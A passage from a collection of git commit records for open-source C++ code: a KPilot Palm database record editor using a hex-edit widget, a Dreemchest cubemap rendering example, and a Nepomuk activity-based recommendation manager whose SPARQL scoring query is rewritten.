Qt::WordBreak);\n\t\ttmpW->setFrameShape( QFrame::Panel );\n\t\ttmpW->setFrameShadow( QFrame::Sunken );\n\t\tfRecordData = tmpW;\n\t\tfRecordDataIf = 0;\n\t}\n \n\tDBRecordEditorBaseLayout->addMultiCellWidget( fRecordData, 2, 2, 0, 3 );\n#endif\n\n\tlanguageChange();\n\tresize( QSize(600, 561).expandedTo(minimumSizeHint()) );\n}\n\nvoid DBRecordEditor::fillWidgets()\n{\n\t\/\/ FUNCTIONSETUP\n\n\tfRecordIndex->setText(QString::number(nr));\n\tfRecordID->setText(QString::number(rec->getID()));\n\n\tint att=rec->getAttrib();\n\tfDirty->setChecked(att & dlpRecAttrDirty);\n\tfDeleted->setChecked(att & dlpRecAttrDeleted);\n\tfBusy->setChecked(att & dlpRecAttrBusy);\n\tfSecret->setChecked(att & dlpRecAttrSecret);\n\tfArchived->setChecked(att & dlpRecAttrArchived);\n\n#ifdef USE_KHEXEDIT\n\tif( fRecordDataIf )\n\t{\n\t\tint len = rec->getLen();\n\t\tchar* buffer = new char[len];\n\t\tmemcpy( buffer, rec->getData(), len );\n\t\tfRecordDataIf->setData( buffer, len );\n\t\tfRecordDataIf->setMaxDataSize( 4096 );\n\t\tfRecordDataIf->setReadOnly( false );\n\t\t\/\/ Here we set auto delete to true. Only if we \n\t\t\/\/ really take over the data, set it to false.\n\t\tfRecordDataIf->setAutoDelete( true ); \n\t}\n#endif\n}\n\n\n#include \"dbRecordEditor.moc\"\n<commit_msg>We want to allow to extend the buffer above the current size, do we? ;) One bug less to report for this temporary solution...<commit_after>\/* dbRecordEditor.cc KPilot\n**\n** Copyright (C) 2003 by Dan Pilone\n** Written 2003 by Reinhold Kainhofer\n**\n**\/\n\n\/*\n** This program is free software; you can redistribute it and\/or modify\n** it under the terms of the GNU General Public License as published by\n** the Free Software Foundation; either version 2 of the License, or\n** (at your option) any later version.\n**\n** This program is distributed in the hope that it will be useful,\n** but WITHOUT ANY WARRANTY; without even the implied warranty of\n** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n** GNU General Public License for more details.\n**\n** You should have received a copy of the GNU General Public License\n** along with this program in a file called COPYING; if not, write to\n** the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n** MA 02111-1307, USA.\n*\/\n\n\/*\n** Bug reports and questions can be sent to kde-pim@kde.org\n*\/\n\n#include \"options.h\"\n\n#include <qlineedit.h>\n#include <qcheckbox.h>\n#include <qtooltip.h>\n#include <qwhatsthis.h>\n#include <qbuttongroup.h>\n#include <qcheckbox.h>\n#include <qlabel.h>\n#include <qlineedit.h>\n#include <qpushbutton.h>\n#include <qlayout.h>\n\n#include <kmessagebox.h>\n\n#include \"pilotRecord.h\"\n#include \"dbRecordEditor.h\"\n\/\/#include \"dbRecordEditor_base.h\"\n\n#ifdef USE_KHEXEDIT\n#include <khexedit\/byteseditinterface.h>\n#include <khexedit\/hexcolumninterface.h>\n#include <khexedit\/textcolumninterface.h>\nusing namespace KHE;\n#endif\n\n\n\nDBRecordEditor::DBRecordEditor(PilotRecord*r, int n, QWidget *parent)\n\t: KDialogBase(parent, \"RecordEditor\",false,i18n(\"Edit Record...\"),\n\t\t\t\tOk|Cancel), rec(r), nr(n)\n{\n\/\/\tfWidget=new DBRecordEditorBase(this);\n\tfWidget=new QWidget(this);\n\tsetMainWidget(fWidget);\n\n\tinitWidgets();\n\tfillWidgets();\n}\n\n \nDBRecordEditor::~DBRecordEditor()\n{\n}\n\n\nvoid DBRecordEditor::slotOk()\n{\n\tFUNCTIONSETUP;\n\tif (KMessageBox::questionYesNo(this, i18n(\"Changing the record data and flags might corrupt the whole record, or even make the database unusable. Do not change the values unless you are absolutely sure you know what you are doing.\\n\\nReally assign these new flags?\"), i18n(\"Changing record\"))==KMessageBox::Yes)\n\t{\n\t\tint att=rec->getAttrib();\n#define setFlag(ctrl, flag) if (ctrl->isChecked()) att|=flag; else att &= ~flag;\n\t\tsetFlag(fDirty, dlpRecAttrDirty);\n\t\tsetFlag(fDeleted, dlpRecAttrDeleted);\n\t\tsetFlag(fBusy, dlpRecAttrBusy);\n\t\tsetFlag(fSecret, dlpRecAttrSecret);\n\t\tsetFlag(fArchived, dlpRecAttrArchived);\n\t\trec->setAttrib(att);\n#undef setFlag\n\n#ifdef USE_KHEXEDIT\n\t\tif ( fRecordDataIf->isModified() )\n\t\t{\n#ifdef DEBUG\n\t\t\tDEBUGKPILOT << \"record data changed, new Length of record: \" << \n\t\t\t\tfRecordDataIf->dataSize() << endl;\n#endif\n\t\t\t\/\/ take over data\n\t\t\tfRecordDataIf->setAutoDelete( false );\n\t\t\trec->setData( fRecordDataIf->data(), fRecordDataIf->dataSize() );\n\t\t}\n#endif\n\n\t\tKDialogBase::slotOk();\n\t}\n}\n\nvoid DBRecordEditor::slotCancel()\n{\n\tKDialogBase::slotCancel();\n}\n\nvoid DBRecordEditor::languageChange()\n{\n\tsetCaption( tr2i18n( \"Form1\" ) );\n\tfRecordIndexLabel->setText( tr2i18n( \"Record index:\" ) );\n\tfRecordIDLabel->setText( tr2i18n( \"Record ID:\" ) );\n\tfRecordIndex->setText( tr2i18n( \"1\" ) );\n\tfRecordID->setText( tr2i18n( \"1\" ) );\n\tfFlagsGroup->setTitle( tr2i18n( \"Flags\" ) );\n\tfDirty->setText( tr2i18n( \"&Dirty\" ) );\n\tfDeleted->setText( tr2i18n( \"De&leted\" ) );\n\tfBusy->setText( tr2i18n( \"&Busy\" ) );\n\tfSecret->setText( tr2i18n( \"&Secret\" ) );\n\tfArchived->setText( tr2i18n( \"&Archived\" ) );\n}\n\nvoid DBRecordEditor::initWidgets()\n{\n\t\/\/ FUNCTIONSETUP\n\n\tDBRecordEditorBaseLayout = new QGridLayout( fWidget, 1, 1, 11, 6, \"DBRecordEditorBaseLayout\");\n\n\tfRecordIndexLabel = new QLabel( fWidget, \"fRecordIndexLabel\" );\n\tDBRecordEditorBaseLayout->addWidget( fRecordIndexLabel, 0, 0 );\n\n\tfRecordIDLabel = new QLabel( fWidget, \"fRecordIDLabel\" );\n\tDBRecordEditorBaseLayout->addWidget( fRecordIDLabel, 0, 2 );\n\n\tfRecordIndex = new QLineEdit( fWidget, \"fRecordIndex\" );\n\tfRecordIndex->setReadOnly( TRUE );\n\n\tDBRecordEditorBaseLayout->addWidget( fRecordIndex, 0, 1 );\n\n\tfRecordID = new QLineEdit( fWidget, \"fRecordID\" );\n\tfRecordID->setReadOnly( TRUE );\n\n\tDBRecordEditorBaseLayout->addWidget( fRecordID, 0, 3 );\n\n\tfFlagsGroup = new QButtonGroup( fWidget, \"fFlagsGroup\" );\n\tfFlagsGroup->setSizePolicy( QSizePolicy( (QSizePolicy::SizeType)5,\n\t\t(QSizePolicy::SizeType)4, 0, 0, fFlagsGroup->sizePolicy().hasHeightForWidth() ) );\n\tfFlagsGroup->setColumnLayout(0, Qt::Vertical );\n\tfFlagsGroup->layout()->setSpacing( 6 );\n\tfFlagsGroup->layout()->setMargin( 11 );\n\tfFlagsGroupLayout = new QGridLayout( fFlagsGroup->layout() );\n\tfFlagsGroupLayout->setAlignment( Qt::AlignTop );\n\n\tfDirty = new QCheckBox( fFlagsGroup, \"fDirty\" );\n\tfFlagsGroupLayout->addWidget( fDirty, 0, 0 );\n\n\tfDeleted = new QCheckBox( fFlagsGroup, \"fDeleted\" );\n\tfFlagsGroupLayout->addWidget( fDeleted, 1, 0 );\n\n\tfBusy = new QCheckBox( fFlagsGroup, \"fBusy\" );\n\tfFlagsGroupLayout->addWidget( fBusy, 0, 1 );\n\n\tfSecret = new QCheckBox( fFlagsGroup, \"fSecret\" );\n\tfFlagsGroupLayout->addMultiCellWidget( fSecret, 1, 1, 1, 2 );\n\n\tfArchived = new QCheckBox( fFlagsGroup, \"fArchived\" );\n\tfFlagsGroupLayout->addWidget( fArchived, 0, 2 );\n\n\tDBRecordEditorBaseLayout->addMultiCellWidget( fFlagsGroup, 1, 1, 0, 3 );\n\n#ifdef USE_KHEXEDIT\n\tfRecordData = KHE::createBytesEditWidget( fWidget, \"fRecordData\" );\n\tif( fRecordData )\n\t{\n\t\t\/\/ fetch the editor interface\n\t\tfRecordDataIf = KHE::bytesEditInterface( fRecordData );\n\t\tQ_ASSERT( fRecordDataIf ); \/\/ This should not fail!\n\n\t\tKHE::HexColumnInterface *HexColumn = hexColumnInterface( fRecordData );\n\t\tif( HexColumn )\n\t\t{\n\t\t\tHexColumn->setNoOfBytesPerLine( 16 );\n\t\t\tHexColumn->setResizeStyle( KHE::HexColumnInterface::LockGrouping );\n\/\/\t\t\tHexColumn->setCoding( HexColumnInterface::HexadecimalCoding );\n\/\/\t\t\tHexColumn->setByteSpacingWidth( 2 );\n\t\t\tHexColumn->setNoOfGroupedBytes( 4 );\n\t\t\tHexColumn->setGroupSpacingWidth( 8 );\n\t\t}\n\n\t\tKHE::TextColumnInterface *TextColumn = textColumnInterface( fRecordData );\n\t\tif( TextColumn )\n\t\t{\n\t\t\tTextColumn->setShowUnprintable( false );\n\/\/\t\t\tTextColumn->setSubstituteChar( '*' );\n\t\t}\n\t}\n\telse\n\t{\n\t\tQLabel*tmpW = new QLabel( i18n(\"To view and edit the record data, please install a hex editor (e.g. kbytesedit from kdeutils).\"), fWidget );\n\t\ttmpW->setBackgroundMode( Qt::PaletteMid );\n\t\ttmpW->setAlignment( Qt::AlignHCenter | Qt::AlignVCenter | Qt::WordBreak);\n\t\ttmpW->setFrameShape( QFrame::Panel );\n\t\ttmpW->setFrameShadow( QFrame::Sunken );\n\t\tfRecordData = tmpW;\n\t\tfRecordDataIf = 0;\n\t}\n \n\tDBRecordEditorBaseLayout->addMultiCellWidget( fRecordData, 2, 2, 0, 3 );\n#endif\n\n\tlanguageChange();\n\tresize( QSize(600, 561).expandedTo(minimumSizeHint()) );\n}\n\nvoid DBRecordEditor::fillWidgets()\n{\n\t\/\/ FUNCTIONSETUP\n\n\tfRecordIndex->setText(QString::number(nr));\n\tfRecordID->setText(QString::number(rec->getID()));\n\n\tint att=rec->getAttrib();\n\tfDirty->setChecked(att & dlpRecAttrDirty);\n\tfDeleted->setChecked(att & dlpRecAttrDeleted);\n\tfBusy->setChecked(att & dlpRecAttrBusy);\n\tfSecret->setChecked(att & dlpRecAttrSecret);\n\tfArchived->setChecked(att & dlpRecAttrArchived);\n\n#ifdef USE_KHEXEDIT\n\tif( fRecordDataIf )\n\t{\n\t\tint len = rec->getLen();\n\t\tchar* buffer = new char[len];\n\t\tmemcpy( buffer, rec->getData(), len );\n\t\tfRecordDataIf->setData( buffer, len, -1, false );\n\t\tfRecordDataIf->setMaxDataSize( 4096 );\n\t\tfRecordDataIf->setReadOnly( false );\n\t\t\/\/ Here we set auto delete to true. Only if we \n\t\t\/\/ really take over the data, set it to false.\n\t\tfRecordDataIf->setAutoDelete( true ); \n\t}\n#endif\n}\n\n\n#include \"dbRecordEditor.moc\"\n<|endoftext|>"} {"text":"<commit_before>\/**************************************************************************\n\n The MIT License (MIT)\n\n Copyright (c) 2015 Dmitry Sovetov\n\n https:\/\/github.com\/dmsovetov\n\n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n The above copyright notice and this permission notice shall be included in all\n copies or substantial portions of the Software.\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n SOFTWARE.\n\n **************************************************************************\/\n\n#include <Dreemchest.h>\n#include \"..\/Examples.h\"\n\nDC_USE_DREEMCHEST\n\nusing namespace Platform;\nusing namespace Renderer;\n\nstatic String s_vertexShader =\n \"cbuffer Projection projection : 0; \\n\"\n \"cbuffer Camera camera : 1; \\n\"\n\n \"varying vec3 v_texCoord; \\n\"\n\n \"void main() \\n\"\n \"{ \\n\"\n \" gl_Position = projection.transform \\n\"\n \" * camera.rotation \\n\"\n \" * gl_Vertex; \\n\"\n \" v_texCoord = gl_Vertex.xyz; \\n\"\n \"} \\n\"\n ;\n\nstatic String s_fragmentShader =\n \"uniform samplerCube Texture0; \\n\"\n\n \"varying vec3 v_texCoord; \\n\"\n\n \"void main() \\n\"\n \"{ \\n\"\n \" gl_FragColor = textureCube(Texture0, v_texCoord); \\n\"\n \"} \\n\"\n ;\n\n\/\/ Application delegate is now subclassed from a Examples::ViewerApplicationDelegate to add camera and arcball functionality.\nclass Cubemaps : public Examples::ViewerApplicationDelegate\n{\n StateBlock8 m_renderStates;\n \n virtual void handleLaunched(Application* application) NIMBLE_OVERRIDE\n {\n Logger::setStandardLogger();\n\n if (!initialize(800, 600))\n {\n application->quit(-1);\n }\n \n \/\/ Create a cube vertex buffer and bind it to a render state block\n {\n InputLayout inputLayout = m_renderingContext->requestInputLayout(VertexFormat::Position);\n VertexBuffer_ vertexBuffer = m_renderingContext->requestVertexBuffer(Examples::UnitCube, sizeof(Examples::UnitCube));\n \n m_renderStates.bindVertexBuffer(vertexBuffer);\n m_renderStates.bindInputLayout(inputLayout);\n }\n \n \/\/ Load a cubemap texture and bind it to a sampler #0\n {\n const String envName = \"Sierra_Madre_B\";\n const String files[] =\n {\n \"Assets\/Textures\/Environments\/\" + envName + \"\/posx.tga\"\n , \"Assets\/Textures\/Environments\/\" + envName + \"\/negx.tga\"\n , \"Assets\/Textures\/Environments\/\" + envName + \"\/posy.tga\"\n , \"Assets\/Textures\/Environments\/\" + envName + \"\/negy.tga\"\n , \"Assets\/Textures\/Environments\/\" + envName + \"\/posz.tga\"\n , \"Assets\/Textures\/Environments\/\" + envName + \"\/negz.tga\"\n };\n \n Examples::Surface pixels;\n Examples::Image faces[6];\n \n for (s32 i = 0; i < 6; i++)\n {\n faces[i] = Examples::tgaFromFile(files[i]);\n pixels.insert(pixels.end(), faces[i].pixels.begin(), faces[i].pixels.end());\n }\n \n Texture_ env = m_renderingContext->requestTextureCube(&pixels[0], faces[0].width, 1, faces[0].format);\n m_renderStates.bindTexture(env, 0);\n }\n \n \/\/ Create a program that consists from a vertex and fragment shaders.\n Program program = m_renderingContext->requestProgram(s_vertexShader, s_fragmentShader);\n m_renderStates.bindProgram(program);\n }\n \n \/\/ This method is declared inside the Examples::ViewerApplicationDelegate.\n virtual void handleRenderFrame(const RenderFrame& frame, RenderCommandBuffer& commands) NIMBLE_OVERRIDE\n {\n commands.clear(Rgba(0.3f, 0.3f, 0.3f), ClearAll);\n commands.drawPrimitives(0, PrimTriangles, 0, 36, m_renderStates);\n }\n};\n\ndcDeclareApplication(new Cubemaps)\n<commit_msg>Fixed: cube maps example compilation issue<commit_after>\/**************************************************************************\n\n The MIT License (MIT)\n\n Copyright (c) 2015 Dmitry Sovetov\n\n https:\/\/github.com\/dmsovetov\n\n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n The above copyright notice and this permission notice shall be included in all\n copies or substantial portions of the Software.\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n SOFTWARE.\n\n **************************************************************************\/\n\n#include <Dreemchest.h>\n#include \"..\/Examples.h\"\n\nDC_USE_DREEMCHEST\n\nusing namespace Platform;\nusing namespace Renderer;\n\nstatic String s_vertexShader =\n \"cbuffer Projection projection : 0; \\n\"\n \"cbuffer Camera camera : 1; \\n\"\n\n \"varying vec3 v_texCoord; \\n\"\n\n \"void main() \\n\"\n \"{ \\n\"\n \" gl_Position = projection.transform \\n\"\n \" * camera.rotation \\n\"\n \" * gl_Vertex; \\n\"\n \" v_texCoord = gl_Vertex.xyz; \\n\"\n \"} \\n\"\n ;\n\nstatic String s_fragmentShader =\n \"uniform samplerCube Texture0; \\n\"\n\n \"varying vec3 v_texCoord; \\n\"\n\n \"void main() \\n\"\n \"{ \\n\"\n \" gl_FragColor = textureCube(Texture0, v_texCoord); \\n\"\n \"} \\n\"\n ;\n\n\/\/ Application delegate is now subclassed from a Examples::ViewerApplicationDelegate to add camera and arcball functionality.\nclass Cubemaps : public Examples::ViewerApplicationDelegate\n{\n StateBlock8 m_renderStates;\n \n virtual void handleLaunched(Application* application) NIMBLE_OVERRIDE\n {\n Logger::setStandardLogger();\n\n if (!initialize(800, 600))\n {\n application->quit(-1);\n }\n \n \/\/ Create a cube vertex buffer and bind it to a render state block\n {\n InputLayout inputLayout = m_renderingContext->requestInputLayout(VertexFormat::Position);\n VertexBuffer_ vertexBuffer = m_renderingContext->requestVertexBuffer(Examples::UnitCube, sizeof(Examples::UnitCube));\n \n m_renderStates.bindVertexBuffer(vertexBuffer);\n m_renderStates.bindInputLayout(inputLayout);\n }\n \n \/\/ Load a cubemap texture and bind it to a sampler #0\n {\n const String envName = \"Sierra_Madre_B\";\n const String files[] =\n {\n \"Assets\/Textures\/Environments\/\" + envName + \"\/posx.tga\"\n , \"Assets\/Textures\/Environments\/\" + envName + \"\/negx.tga\"\n , \"Assets\/Textures\/Environments\/\" + envName + \"\/posy.tga\"\n , \"Assets\/Textures\/Environments\/\" + envName + \"\/negy.tga\"\n , \"Assets\/Textures\/Environments\/\" + envName + \"\/posz.tga\"\n , \"Assets\/Textures\/Environments\/\" + envName + \"\/negz.tga\"\n };\n \n Examples::Surface pixels;\n Examples::Image faces[6];\n \n for (s32 i = 0; i < 6; i++)\n {\n faces[i] = Examples::tgaFromFile(files[i]);\n pixels.insert(pixels.end(), faces[i].pixels.begin(), faces[i].pixels.end());\n }\n \n Texture_ env = m_renderingContext->requestTextureCube(&pixels[0], faces[0].width, 1, faces[0].format);\n m_renderStates.bindTexture(env, 0);\n }\n \n \/\/ Create a program that consists from a vertex and fragment shaders.\n Program program = m_renderingContext->requestProgram(s_vertexShader, s_fragmentShader);\n m_renderStates.bindProgram(program);\n }\n \n \/\/ This method is declared inside the Examples::ViewerApplicationDelegate.\n virtual void handleRenderFrame(RenderFrame& frame, StateStack& stateStack, RenderCommandBuffer& commands) NIMBLE_OVERRIDE\n {\n commands.clear(Rgba(0.3f, 0.3f, 0.3f), ClearAll);\n commands.drawPrimitives(0, PrimTriangles, 0, 36, m_renderStates);\n }\n};\n\ndcDeclareApplication(new Cubemaps)\n<|endoftext|>"} {"text":"<commit_before>\/*\n This file is part of the Nepomuk KDE project.\n Copyright (C) 2011 Sebastian Trueg <trueg@kde.org>\n\n This library is free software; you can redistribute it and\/or\n modify it under the terms of the GNU Lesser General Public\n License as published by the Free Software Foundation; either\n version 2.1 of the License, or (at your option) version 3, or any\n later version accepted by the membership of KDE e.V. (or its\n successor approved by the membership of KDE e.V.), which shall\n act as a proxy defined in Section 6 of version 3 of the license.\n\n This library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n Lesser General Public License for more details.\n\n You should have received a copy of the GNU Lesser General Public\n License along with this library. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include \"recommendationmanager.h\"\n#include \"recommendationmanageradaptor.h\"\n#include \"recommendation.h\"\n#include \"recommendationaction.h\"\n#include \"locationmanager.h\"\n#include \"kext.h\"\n\n#include <kworkspace\/kactivityinfo.h>\n#include <kworkspace\/kactivityconsumer.h>\n\n#include <KRandom>\n#include <KRun>\n#include <KDebug>\n\n#include <Nepomuk\/Query\/Query>\n#include <Nepomuk\/Query\/QueryServiceClient>\n#include <Nepomuk\/Query\/ComparisonTerm>\n#include <Nepomuk\/Query\/LiteralTerm>\n#include <Nepomuk\/Query\/AndTerm>\n#include <Nepomuk\/Query\/QueryServiceClient>\n#include <Nepomuk\/Query\/Result>\n#include <Nepomuk\/Resource>\n\n#include <Soprano\/Vocabulary\/NAO>\n\n#include <QtDBus\/QDBusConnection>\n#include <QtDBus\/QDBusMetaType>\n\n#include <QtLocation\/QLandmark>\n\nusing namespace Soprano::Vocabulary;\nusing namespace Nepomuk::Vocabulary;\n\nQTM_USE_NAMESPACE\n\n\/\/Q_DECLARE_METATYPE(Contour::Recommendation*)\n\n\n\/\/ TODO: act on several changes:\n\/\/ * later: triggers from the dms\n\nclass Contour::RecommendationManager::Private\n{\npublic:\n KActivityConsumer* m_activityConsumer;\n LocationManager* m_locationManager;\n\n QList<Recommendation> m_recommendations;\n QHash<QString, RecommendationAction> m_actionHash;\n QHash<QString, Recommendation> m_RecommendationForAction;\n\n Nepomuk::Query::QueryServiceClient m_queryClient;\n\n RecommendationManager* q;\n\n void updateRecommendations();\n void _k_locationChanged(const QList<QLandmark>&);\n void _k_currentActivityChanged(const QString&);\n void _k_newResults(const QList<Nepomuk::Query::Result>&);\n void _k_queryFinished();\n};\n\n\nvoid Contour::RecommendationManager::Private::updateRecommendations()\n{\n \/\/ remove old recommendations\n m_recommendations.clear();\n m_actionHash.clear();\n m_RecommendationForAction.clear();\n\n \/\/ get resources that have been touched in the current activity (the dumb way for now)\n const QString query\n = QString::fromLatin1(\"select distinct ?resource, ?uri, ?cache,\"\n \"(\"\n \"(\"\n \"?lastScore * bif:exp(-\"\n \"bif:datediff('day', ?lastUpdate, \\\"2011-06-30T13:45:01.996Z\\\"^^<http:\/\/www.w3.org\/2001\/XMLSchema#dateTime>\"\n \")\"\n \")\"\n \"as ?score) where {\"\n \"?cache kext:targettedResource ?resource .\"\n \"?cache a kext:ResourceScoreCache .\"\n \"?cache nao:lastModified ?lastUpdate .\"\n \"?cache kext:cachedScore ?lastScore .\"\n \"?cache kext:usedActivity %1 .\"\n \"OPTIONAL { ?resource nie:url ?uri . } .\"\n \"}\"\n \"ORDER BY DESC (?score)\"\n \"LIMIT 10\")\n .arg(Soprano::Node::resourceToN3(Nepomuk::Resource(m_activityConsumer->currentActivity(), KExt::Activity()).resourceUri()) \/*Soprano::Node::literalToN3(Soprano::LiteralValue(m_activityConsumer->currentActivity()))*\/);\n\n m_queryClient.sparqlQuery(query);\n\n \/\/ IDEA: for files use usage events\n \/\/ for everything else use changes in data via graph metadata\n}\n\nvoid Contour::RecommendationManager::Private::_k_locationChanged(const QList<QLandmark>&)\n{\n updateRecommendations();\n}\n\nvoid Contour::RecommendationManager::Private::_k_currentActivityChanged(const QString&)\n{\n updateRecommendations();\n}\n\nvoid Contour::RecommendationManager::Private::_k_newResults(const QList<Nepomuk::Query::Result>& results)\n{\n foreach(const Nepomuk::Query::Result& result, results) {\n Recommendation r;\n r.resourceUri = KUrl(result.resource().resourceUri()).url();\n\n kWarning() << \"Got a new result:\" << result.excerpt() << result.score();\n\n \/\/ for now we create the one dummy action: open the resource\n QString id;\n do {\n id = KRandom::randomString(5);\n } while(m_actionHash.contains(id));\n RecommendationAction action;\n action.id = id;\n action.text = i18n(\"Open '%1'\", result.resource().genericLabel());\n m_actionHash[id] = action;\n m_RecommendationForAction[id] = r;\n\n r.actions << action;\n\n m_recommendations << r;\n }\n}\n\nvoid Contour::RecommendationManager::Private::_k_queryFinished()\n{\n emit q->recommendationsChanged();\n}\n\nContour::RecommendationManager::RecommendationManager(QObject *parent)\n : QObject(parent),\n d(new Private())\n{\n d->q = this;\n\n connect(&d->m_queryClient, SIGNAL(newEntries(QList<Nepomuk::Query::Result>)),\n this, SLOT(_k_newResults(QList<Nepomuk::Query::Result>)));\n\n d->m_activityConsumer = new KActivityConsumer(this);\n connect(d->m_activityConsumer, SIGNAL(currentActivityChanged(QString)),\n this, SLOT(_k_currentActivityChanged(QString)));\n d->m_locationManager = new LocationManager(this);\n connect(d->m_locationManager, SIGNAL(locationChanged(QList<QLandmark>)),\n this, SLOT(_k_locationChanged(QList<QLandmark>)));\n d->updateRecommendations();\n\n \/\/ export via DBus\n qDBusRegisterMetaType<Contour::Recommendation>();\n qDBusRegisterMetaType<QList<Contour::Recommendation> >();\n qDBusRegisterMetaType<Contour::RecommendationAction>();\n (void)new RecommendationManagerAdaptor(this);\n QDBusConnection::sessionBus().registerObject(QLatin1String(\"\/recommendationmanager\"), this);\n}\n\nContour::RecommendationManager::~RecommendationManager()\n{\n delete d;\n}\n\nQList<Contour::Recommendation> Contour::RecommendationManager::recommendations() const\n{\n return d->m_recommendations;\n}\n\nvoid Contour::RecommendationManager::executeAction(const QString &actionId)\n{\n if(d->m_actionHash.contains(actionId)) {\n RecommendationAction action = d->m_actionHash.value(actionId);\n\n \/\/ FIXME: this is the hacky execution of the action, make it correct\n Recommendation r = d->m_RecommendationForAction.value(actionId);\n (void)new KRun(r.resourceUri, 0);\n }\n else {\n kDebug() << \"Invalid action id encountered:\" << actionId;\n }\n}\n\n#include \"recommendationmanager.moc\"\n<commit_msg>Fixed query<commit_after>\/*\n This file is part of the Nepomuk KDE project.\n Copyright (C) 2011 Sebastian Trueg <trueg@kde.org>\n\n This library is free software; you can redistribute it and\/or\n modify it under the terms of the GNU Lesser General Public\n License as published by the Free Software Foundation; either\n version 2.1 of the License, or (at your option) version 3, or any\n later version accepted by the membership of KDE e.V. (or its\n successor approved by the membership of KDE e.V.), which shall\n act as a proxy defined in Section 6 of version 3 of the license.\n\n This library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n Lesser General Public License for more details.\n\n You should have received a copy of the GNU Lesser General Public\n License along with this library. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include \"recommendationmanager.h\"\n#include \"recommendationmanageradaptor.h\"\n#include \"recommendation.h\"\n#include \"recommendationaction.h\"\n#include \"locationmanager.h\"\n#include \"kext.h\"\n\n#include <kworkspace\/kactivityinfo.h>\n#include <kworkspace\/kactivityconsumer.h>\n\n#include <KRandom>\n#include <KRun>\n#include <KDebug>\n\n#include <Nepomuk\/Query\/Query>\n#include <Nepomuk\/Query\/QueryServiceClient>\n#include <Nepomuk\/Query\/ComparisonTerm>\n#include <Nepomuk\/Query\/LiteralTerm>\n#include <Nepomuk\/Query\/AndTerm>\n#include <Nepomuk\/Query\/QueryServiceClient>\n#include <Nepomuk\/Query\/Result>\n#include <Nepomuk\/Resource>\n\n#include <Soprano\/Vocabulary\/NAO>\n\n#include <QtDBus\/QDBusConnection>\n#include <QtDBus\/QDBusMetaType>\n\n#include <QtLocation\/QLandmark>\n\nusing namespace Soprano::Vocabulary;\nusing namespace Nepomuk::Vocabulary;\n\nQTM_USE_NAMESPACE\n\n\/\/Q_DECLARE_METATYPE(Contour::Recommendation*)\n\n\n\/\/ TODO: act on several changes:\n\/\/ * later: triggers from the dms\n\nclass Contour::RecommendationManager::Private\n{\npublic:\n KActivityConsumer* m_activityConsumer;\n LocationManager* m_locationManager;\n\n QList<Recommendation> m_recommendations;\n QHash<QString, RecommendationAction> m_actionHash;\n QHash<QString, Recommendation> m_RecommendationForAction;\n\n Nepomuk::Query::QueryServiceClient m_queryClient;\n\n RecommendationManager* q;\n\n void updateRecommendations();\n void _k_locationChanged(const QList<QLandmark>&);\n void _k_currentActivityChanged(const QString&);\n void _k_newResults(const QList<Nepomuk::Query::Result>&);\n void _k_queryFinished();\n};\n\n\nvoid Contour::RecommendationManager::Private::updateRecommendations()\n{\n \/\/ remove old recommendations\n m_recommendations.clear();\n m_actionHash.clear();\n m_RecommendationForAction.clear();\n\n \/\/ get resources that have been touched in the current activity (the dumb way for now)\n const QString query\n = QString::fromLatin1(\n \"select distinct ?resource, \"\n \" ( \"\n \" ( \"\n \" SUM ( \"\n \" ?lastScore * bif:exp( \"\n \" - bif:datediff('day', ?lastUpdate, %1) \"\n \" ) \"\n \" ) \"\n \" ) \"\n \" as ?score \"\n \" ) where { \"\n \" ?cache kext:targettedResource ?resource . \"\n \" ?cache a kext:ResourceScoreCache . \"\n \" ?cache nao:lastModified ?lastUpdate . \"\n \" ?cache kext:cachedScore ?lastScore . \"\n \" ?cache kext:usedActivity %2 . \"\n \" } \"\n \" GROUP BY (?resource) \"\n \" ORDER BY DESC (?score) \"\n \" LIMIT 10 \"\n ).arg(\n Soprano::Node::literalToN3(\n QDateTime::currentDateTime()\n ),\n Soprano::Node::resourceToN3(\n Nepomuk::Resource(m_activityConsumer->currentActivity(), KExt::Activity()).resourceUri()\n )\n );\n\n kDebug() << query;\n\n m_queryClient.sparqlQuery(query);\n\n \/\/ IDEA: for files use usage events\n \/\/ for everything else use changes in data via graph metadata\n}\n\nvoid Contour::RecommendationManager::Private::_k_locationChanged(const QList<QLandmark>&)\n{\n 